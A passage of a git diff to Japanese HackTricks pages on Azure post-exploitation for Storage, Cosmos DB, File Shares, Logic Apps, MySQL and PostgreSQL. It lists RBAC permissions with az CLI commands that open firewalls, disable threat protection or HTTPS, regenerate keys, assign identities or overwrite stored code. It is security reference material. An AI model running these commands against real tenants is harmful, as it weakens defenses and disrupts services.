-n file.txt --auth-mode login
```
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
この権限を持つプリンシパルは、**コンテナ内のファイルを書き込みおよび上書きすることができ**、これにより損害を引き起こしたり、特権を昇格させたりする可能性があります(例:ブロブに保存されているコードを上書きする)。
この権限を持つプリンシパルは、**コンテナ内のファイルを書き込みおよび上書きする**ことができ、これにより損害を引き起こしたり、特権を昇格させたりする可能性があります(例:ブロブに保存されているコードを上書きする)。
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
az storage blob upload \

View File

@@ -5,27 +5,21 @@
## CosmosDB ポストエクスプロイテーション
SQL データベースに関する詳細情報は、以下を確認してください:
{% content-ref url="../az-services/az-cosmosDB.md" %}
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-cosmosDB.md
{{#endref}}
### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
この権限を持つことで、Azure Cosmos DB アカウントを作成または更新できます。これには、アカウントレベルの設定の変更、リージョンの追加または削除、一貫性レベルの変更、マルチリージョン書き込みなどの機能の有効化または無効化が含まれます。
{% code overflow="wrap" %}
```bash
az cosmosdb update \
--name <account_name> \
--resource-group <resource_group_name> \
--public-network-access ENABLED
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
この権限を持つことで、Azure Cosmos DB アカウントの SQL データベース内でコンテナ(コレクション)を作成または変更できます。コンテナはデータを保存するために使用され、その変更はデータベースの構造やアクセスパターンに影響を与える可能性があります。
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
この権限を持つことで、Azure Cosmos DB アカウントの SQL データベース内にコンテナ(コレクション)を作成または変更できます。コンテナはデータを保存するために使用され、その変更はデータベースの構造やアクセスパターンに影響を与える可能性があります。
```bash
# Create
az cosmosdb sql container create \
@@ -43,25 +37,17 @@ az cosmosdb sql container update \
--name <container_name> \
--ttl 3600
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
この権限を持つことで、Azure Cosmos DB アカウント内で SQL データベースを作成または変更できます。これにより、データベースの構造を管理し、新しいデータベースをアカウントに追加することが可能になります。この権限はデータベースの作成を可能にしますが、不適切または無許可の使用は、不必要なリソース消費、コストの増加、または運用の非効率を引き起こす可能性があります。
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
この権限を使用すると、Azure Cosmos DB アカウント内で SQL データベースを作成または変更できます。これにより、データベースの構造を管理し、新しいデータベースをアカウントに追加することができます。この権限はデータベースの作成を可能にしますが、不適切または無許可の使用は、不必要なリソース消費、コストの増加、または運用の非効率を引き起こす可能性があります。
```bash
az cosmosdb sql database create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--name <database_name>
```
{% endcode %}
### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action`
### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
この権限を使用すると、Azure Cosmos DB データベース アカウントのリージョンのフェイルオーバー優先度を変更できます。このアクションは、フェイルオーバー イベント中にリージョンがプライマリになる順序を決定します。この権限を不適切に使用すると、データベースの高可用性が損なわれたり、意図しない運用への影響を引き起こす可能性があります。
{% code overflow="wrap" %}
この権限を使用すると、Azure Cosmos DB データベース アカウントのリージョンのフェイルオーバー優先度を変更できます。このアクションは、フェイルオーバー イベント中にリージョンがプライマリになる順序を決定します。この権限の不適切な使用は、データベースの高可用性を妨げたり、意図しない運用への影響を引き起こす可能性があります。
```bash
az cosmosdb failover-priority-change \
--name <database_account_name> \
@@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \
--failover-policies <region1=priority1> <region2=priority2>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
この権限を使用すると、Azure Cosmos DB アカウントのプライマリキーまたはセカンダリキーを再生成できます。これは通常、古いキーを置き換えることでセキュリティを強化するために使用されますが、現在のキーに依存しているサービスやアプリケーションのアクセスを妨げる可能性があります。
{% code overflow="wrap" %}
```bash
az cosmosdb keys regenerate \
--name <account_name> \
@@ -82,13 +64,9 @@ az cosmosdb keys regenerate \
--key-kind <primary|secondary>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
この権限を持つことで、Azure Cosmos DB アカウント内の SQL データベースのコンテナ内でトリガーを作成または変更できます。トリガーは、操作に応じてサーバー側のロジックを実行することを可能にします。
{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name <account_name> \
@@ -100,12 +78,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
この権限を持つことで、Azure Cosmos DB アカウント内の SQL データベースのコンテナ内でストアドプロシージャを作成または変更できます。Cosmos DB のストアドプロシージャは、データを処理したり、データベース内で直接操作を実行するためのロジックをカプセル化するサーバーサイドの JavaScript 関数です。
{% code overflow="wrap" %}
```bash
az cosmosdb sql stored-procedure create \
--account-name <account_name> \
@@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \
--name <stored_procedure_name> \
--body 'function sample() { return "Hello, Cosmos!"; }'
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
この権限を持つことで、Azure Cosmos DB アカウント内の SQL データベースのコンテナ内でトリガーを作成または変更できます。トリガーは、挿入、更新、削除などの操作に応じてサーバー側のロジックを実行することを可能にします。
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
この権限を持つことで、Azure Cosmos DB アカウント内の SQL データベースのコンテナ内でトリガーを作成または変更できます。トリガーは、挿入、更新、または削除などの操作に応じてサーバー側のロジックを実行することを可能にします。
```bash
az cosmosdb sql trigger create \
--account-name <account_name> \
@@ -132,12 +102,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write`
この権限を持つことで、Azure Cosmos DB アカウント内の MongoDB データベース内でコレクションを作成または変更できます。コレクションは、ドキュメントを保存し、データの構造とパーティショニングを定義するために使用されます。
{% code overflow="wrap" %}
```bash
az cosmosdb mongodb collection create \
--account-name <account_name> \
@@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \
--database-name <mongodb_database_name> \
--name <collection_name>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
この権限を持つことで、Azure Cosmos DB アカウント内に新しい MongoDB データベースを作成できます。これにより、コレクションやドキュメントを保存および管理するための新しいデータベースをプロビジョニングできます。
{% code overflow="wrap" %}
```bash
az cosmosdb mongodb database create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--name <database_name>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
この権限を持つことで、Azure Cosmos DB アカウント内に新しい MongoDB ロール定義を作成できます。これにより、MongoDB ユーザーのために特定の権限を持つカスタムロールを定義できます。
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
この権限を使用すると、Azure Cosmos DB アカウント内に新しい MongoDB ロール定義を作成できます。これにより、MongoDB ユーザーのために特定の権限を持つカスタムロールを定義できます。
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
@@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \
"Roles": []
}'
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
この権限を持つことで、Azure Cosmos DB アカウント内に新しい MongoDB ユーザー定義を作成できます。これにより、MongoDB データベースへの特定の役割とアクセスレベルを持つユーザーのプロビジョニングが可能になります。
{% code overflow="wrap" %}
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
@@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \
]
}'
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,16 +1,16 @@
# Az - ファイル共有のポストエクスプロイテーション
# Az - File Share Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
ファイル共有のポストエクスプロイテーション
ファイル共有に関する詳細情報は、以下を確認してください:
ファイル共有に関する詳細情報は、以下を確認してください
{{#ref}}
../az-services/az-file-shares.md
{{#endref}}
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
この権限を持つプリンシパルは、ファイル共有内のファイルを**リスト**し、**機密情報**を含む可能性のあるファイルを**ダウンロード**することができます。
```bash
@@ -28,9 +28,9 @@ az storage file download \
--dest /path/to/down \
--auth-mode login --enable-file-backup-request-intent
```
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action`
この権限を持つプリンシパルは、**ファイル共有内のファイルを書き込み、上書きする**ことができ、これにより損害を引き起こしたり、特権を昇格させたりする可能性があります(例:ファイル共有に保存されているコードを上書きする)。
この権限を持つプリンシパルは、**ファイル共有内のファイルを書き込み、上書きする**ことができ、これにより損害を引き起こしたり、特権を昇格させたりする可能性があります(例:ファイル共有に保存されコードを上書きする)。
```bash
az storage blob upload \
--account-name <acc-name> \

View File

@@ -3,16 +3,14 @@
{{#include ../../../banners/hacktricks-training.md}}
## Logic Apps Database Post Exploitation
Logic Appsに関する詳細情報は、以下を確認してください:
Logic Appsに関する詳細情報は、以下を参照してください:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-logic-apps.md
{{#endref}}
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
これらの権限を持つことで、Logic Appのワークフローを変更し、そのアイデンティティを管理できます。具体的には、システム割り当ておよびユーザー割り当てのマネージドアイデンティティをワークフローに割り当てたり、削除したりすることができ、これによりLogic Appは明示的な資格情報なしで他のAzureリソースに認証しアクセスできます。
{% code overflow="wrap" %}
### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
これらの権限を使用すると、Logic Appのワークフローを変更し、そのアイデンティティを管理できます。具体的には、システム割り当ておよびユーザー割り当てのマネージドアイデンティティをワークフローに割り当てたり、削除したりすることができ、これによりLogic Appは明示的な資格情報なしで他のAzureリソースに認証しアクセスすることができます。
```bash
az logic workflow identity remove/assign \
--name <workflow_name> \
@@ -20,49 +18,32 @@ az logic workflow identity remove/assign \
--system-assigned true \
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
```
{% endcode %}
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
これらの権限を持つことで、App Service PlanにホストされているLogic Appsを作成または更新できます。これには、HTTPS強制の有効化または無効化などの設定の変更が含まれます。
{% code overflow="wrap" %}
### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
これらの権限を使用すると、App Service PlanにホストされているLogic Appsを作成または更新できます。これには、HTTPS強制の有効化または無効化などの設定の変更が含まれます。
```bash
az logicapp update \
--resource-group <resource_group_name> \
--name <logic_app_name> \
--set httpsOnly=false
```
{% endcode %}
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`
この権限を持つことで、App Service Plan上でホストされているLogic Appsを含むWebアプリを開始/停止/再起動できます。このアクションは、以前に停止されたアプリがオンラインに戻り、その機能を再開することを保証します。これにより、ワークフローが中断されたり、意図しない操作がトリガーされたり、Logic Appsが予期せずに開始、停止、または再起動されることによってダウンタイムが発生する可能性があります。
{% code overflow="wrap" %}
```bash
az webapp start/stop/restart \
--name <logic_app_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write`
この権限を持つことで、App Service Plan上でホストされているLogic Appsを含むWebアプリの設定を構成または変更できます。これにより、アプリ設定、接続文字列、認証設定などの変更が可能になります。
{% code overflow="wrap" %}
```bash
az logicapp config appsettings set \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--settings "<key>=<value>"
```
{% endcode %}
### "Microsoft.Logic/integrationAccounts/write"
この権限を持つことで、Azure Logic Appsの統合アカウントを作成、更新、または削除できます。これには、マップ、スキーマ、パートナー、合意などの統合アカウントレベルの設定の管理が含まれます。
{% code overflow="wrap" %}
### `Microsoft.Logic/integrationAccounts/write`
この権限を使用すると、Azure Logic Appsの統合アカウントを作成、更新、または削除できます。これには、マップ、スキーマ、パートナー、合意などの統合アカウントレベルの構成の管理が含まれます。
```bash
az logic integration-account create \
--resource-group <resource_group_name> \
@@ -71,13 +52,9 @@ az logic integration-account create \
--sku <Standard|Free> \
--state Enabled
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`
この権限を持つことで、Azure Logic Appsの統合アカウント内でバッチ構成を作成または変更できます。バッチ構成は、Logic Appsがバッチ処理のために受信メッセージをどのように処理し、グループ化するかを定義します。
{% code overflow="wrap" %}
```bash
az logic integration-account batch-configuration create \
--resource-group <resource_group_name> \
@@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \
"batchSize": 1048576,
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
この権限を持つことで、Azure Logic Appsの統合アカウント内でマップを作成または変更できます。マップは、異なるシステムやアプリケーション間でのシームレスな統合を可能にするために、データをある形式から別の形式に変換するために使用されます。
{% code overflow="wrap" %}
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
この権限を持つことで、Azure Logic Apps インテグレーション アカウント内でマップを作成または変更できます。マップは、データをある形式から別の形式に変換するために使用され、異なるシステムやアプリケーション間のシームレスな統合を可能にします。
```bash
az logic integration-account map create \
--resource-group <resource_group_name> \
@@ -103,12 +76,8 @@ az logic integration-account map create \
--content-type application/xml \
--map-content map-content.xslt
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
この権限を持つことで、Azure Logic Appsの統合アカウント内のパートナーを作成または変更できます。パートナーは、ビジネス間B2Bワークフローに参加するエンティティまたはシステムを表します。
{% code overflow="wrap" %}
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
この権限を持つことで、Azure Logic Apps 統合アカウント内のパートナーを作成または変更できます。パートナーは、ビジネス間 (B2B) ワークフローに参加するエンティティまたはシステムを表します。
```bash
az logic integration-account partner create \
--resource-group <resource_group_name> \
@@ -126,12 +95,8 @@ az logic integration-account partner create \
}
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
この権限を持つことで、Azure Logic Appsの統合アカウント内でセッションを作成または変更できます。セッションはB2Bワークフローでメッセージをグループ化し、定義された期間にわたる関連トランザクションを追跡するために使用されます。
{% code overflow="wrap" %}
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`
この権限を持つことで、Azure Logic Appsの統合アカウント内でセッションを作成または変更できます。セッションはB2Bワークフローでメッセージをグループ化し、定義された期間にわたる関連する取引を追跡するために使用されます。
```bash
az logic integration-account session create \
--resource-group <resource_group_name> \
@@ -147,9 +112,9 @@ az logic integration-account session create \
}
}'
```
{% endcode %}
### "*/delete"
この権限を持つことで、Azure Logic Apps に関連するリソースを削除できます。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -3,56 +3,42 @@
{{#include ../../../banners/hacktricks-training.md}}
## MySQL データベース ポストエクスプロイテーション
MySQL データベースに関する詳細情報は以下を参照してください:
MySQL データベースに関する詳細情報は以下を確認してください:
{% content-ref url="../az-services/az-mysql.md" %}
[az-mysql.md](../az-services/az-mysql.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-mysql.md
{{#endref}}
### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
この権限を持つことで、Azure の MySQL フレキシブルサーバーインスタンス内に新しいデータベースを作成できます。このアクション自体は既存のリソースを変更しませんが、過剰または不正なデータベースの作成はリソースの消費やサーバーの悪用につながる可能性があります。
{% code overflow="wrap" %}
この権限を持つことで、Azure の MySQL フレキシブルサーバーインスタンス内に新しいデータベースを作成できます。このアクション自体は既存のリソースを変更しませんが、過剰または不正なデータベースの作成はリソースの消費やサーバーの悪用につながる可能性があります。
```bash
az mysql flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/backups/write`
### "Microsoft.DBforMySQL/flexibleServers/backups/write"
この権限を持つことで、Azure上のMySQL Flexible Serverインスタンスのバックアップ作成を開始できます。これにより、ユーザーは特定の時点でのデータを保存するためにオンデマンドバックアップを生成することができます。
{% code overflow="wrap" %}
この権限を持つことで、Azure上のMySQL Flexible Serverインスタンスのバックアップ作成を開始できます。これにより、ユーザーは特定の時点でのデータを保持するために、オンデマンドバックアップを生成することができます。
```bash
az mysql flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write`
この権限を使用すると、Azure上のMySQL Flexible ServerインスタンスのAdvanced Threat Protection (ATP)設定を構成または更新できます。これにより、異常な活動や潜在的な脅威を検出し対応するために設計されたセキュリティ機能を有効または無効にすることができます。
{% code overflow="wrap" %}
```bash
az mysql flexible-server threat-protection-policy update \
--name <server_name> \
--resource-group <resource_group_name> \
--state <Enabled|Disabled>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write`
この権限を使用すると、Azure上のMySQL Flexible Serverインスタンスのファイアウォールルールを作成または変更できます。これにより、どのIPアドレスまたは範囲がサーバーにアクセスできるかを制御できます。この権限の不正または不適切な使用は、サーバーを望ましくないまたは悪意のあるアクセスにさらす可能性があります。
{% code overflow="wrap" %}
```bash
# Create Rule
az mysql flexible-server firewall-rule create \
@@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \
--start-ip-address <start_ip> \
--end-ip-address <end_ip>
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
この権限を持つことで、Azure上のMySQL Flexible ServerインスタンスのGTIDグローバルトランザクション識別子をリセットできます。GTIDをリセットすると、リセットアクションの前に取得されたすべての自動バックアップおよびオンデマンドバックアップ、地理的バックアップが無効になります。GTIDリセット後、GTIDリセット時間より前の選択されたリストア時間であれば、最速リストアポイントまたはカスタムリストアポイントを使用してPITRポイントインタイムリストアを実行することはできません。また、成功した地理的リストアは5日後にのみ可能です。
{% code overflow="wrap" %}
この権限を使用すると、Azure上のMySQL Flexible ServerインスタンスのGTIDグローバルトランザクション識別子をリセットできます。GTIDをリセットすると、リセットアクションの前に取得されたすべての自動バックアップおよびオンデマンドバックアップ、地理的バックアップが無効になります。GTIDリセット後、選択したリストア時間がGTIDリセット時間より前の場合、最速リストアポイントまたはカスタムリストアポイントを使用してPITRポイントインタイムリストアを実行することはできません。また、成功した地理的リストアは5日後にのみ可能です。
```bash
az mysql flexible-server reset-gtid \
--name \
--resource-group <resource_group_name> \
--gtid-set <gtid>
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
この権限を持つことで、Azure上のMySQL Flexible Serverインスタンスの設定を更新できます。これにより、パフォーマンス調整、セキュリティ設定、または運用設定などのサーバーパラメータをカスタマイズできます。以下のパラメータを一括で更新できます: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, および max_connections。
{% code overflow="wrap" %}
この権限を使用すると、Azure上のMySQL Flexible Serverインスタンスの設定を更新できます。これにより、パフォーマンス調整、セキュリティ設定、または運用設定などのサーバーパラメータをカスタマイズできます。次のパラメータを一括で更新できます: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, および max_connections。
```bash
az mysql flexible-server parameter set-batch \
--resource-group <resource_group_name> \
--server-name <server_name> \
--args max_connections=<value>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
この権限を使用すると、MySQL フレキシブル サーバーにユーザー割り当てのマネージド ID を割り当てることができます。
{% code overflow="wrap" %}
```bash
az mysql flexible-server identity assign \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--identity <IdentityName>
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/stop/action`
### "Microsoft.DBforMySQL/flexibleServers/stop/action"
この権限を持つことで、Azure上のPostgreSQL Flexible Serverインスタンスを停止できます。サーバーを停止すると、一時的なサービスの中断が発生し、データベースに依存するアプリケーションやユーザーに影響を与える可能性があります。
{% code overflow="wrap" %}
この権限を使用すると、Azure上のPostgreSQL Flexible Serverインスタンスを停止できます。サーバーを停止すると、一時的なサービスの中断が発生し、データベースに依存するアプリケーションやユーザーに影響を与える可能性があります。
```bash
az mysql flexible-server stop \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/start/action"
### `Microsoft.DBforMySQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
{% code overflow="wrap" %}
```bash
az mysql flexible-server start \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "*/delete"
### `*/delete`
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations

View File

@@ -3,56 +3,42 @@
{{#include ../../../banners/hacktricks-training.md}}
## PostgreSQL データベース ポストエクスプロイテーション
PostgreSQL データベースに関する詳細情報は以下を参照してください:
PostgreSQL データベースに関する詳細情報は以下を確認してください:
{% content-ref url="../az-services/az-postgresql.md" %}
[az-postgresql.md](../az-services/az-postgresql.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-postgresql.md
{{#endref}}
### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
この権限を持つことで、Azure の Postgres Flexible Server インスタンス内に新しいデータベースを作成できます。このアクション自体は既存のリソースを変更しませんが、過剰または不正なデータベースの作成は、リソースの消費やサーバーの潜在的な悪用につながる可能性があります。
{% code overflow="wrap" %}
```bash
az postgres flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
この権限を持つことで、Azure上のPostgres Flexible Serverインスタンスのバックアップ作成を開始できます。これにより、ユーザーは特定の時点でのデータを保存するために、オンデマンドバックアップを生成することができます。
{% code overflow="wrap" %}
この権限を持つことで、Azure上のPostgres Flexible Serverインスタンスのバックアップ作成を開始できます。これにより、ユーザーは特定の時点でのデータを保存するためにオンデマンドバックアップを生成することができます。
```bash
az postgres flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
この権限を使用すると、Azure上のPostgres Flexible Serverインスタンスの高度な脅威保護ATP設定を構成または更新できます。これにより、異常な活動や潜在的な脅威を検出し、対応するために設計されたセキュリティ機能を有効または無効にすることができます。
{% code overflow="wrap" %}
この権限を使用すると、Azure上のPostgres Flexible ServerインスタンスのAdvanced Threat Protection (ATP)設定を構成または更新できます。これにより、異常な活動や潜在的な脅威を検出し、対応するために設計されたセキュリティ機能を有効または無効にすることができます。
```bash
az postgres flexible-server threat-protection-policy update \
--name <server_name> \
--resource-group <resource_group_name> \
--state <Enabled|Disabled>
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
この権限を持つことで、Azure上のPostgres Flexible Serverインスタンスのファイアウォールルールを作成または変更できます。これにより、どのIPアドレスまたは範囲がサーバーにアクセスできるかを制御できます。この権限の不正または不適切な使用は、サーバーを望ましくないまたは悪意のあるアクセスにさらす可能性があります。
{% code overflow="wrap" %}
この権限を使用すると、Azure上のPostgres Flexible Serverインスタンスのファイアウォールルールを作成または変更できます。これにより、どのIPアドレスまたは範囲がサーバーにアクセスできるかを制御できます。この権限の不正または不適切な使用は、サーバーを望ましくないまたは悪意のあるアクセスにさらす可能性があります。
```bash
# Create Rule
az postgres flexible-server firewall-rule create \
@@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \
--start-ip-address <start_ip> \
--end-ip-address <end_ip>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
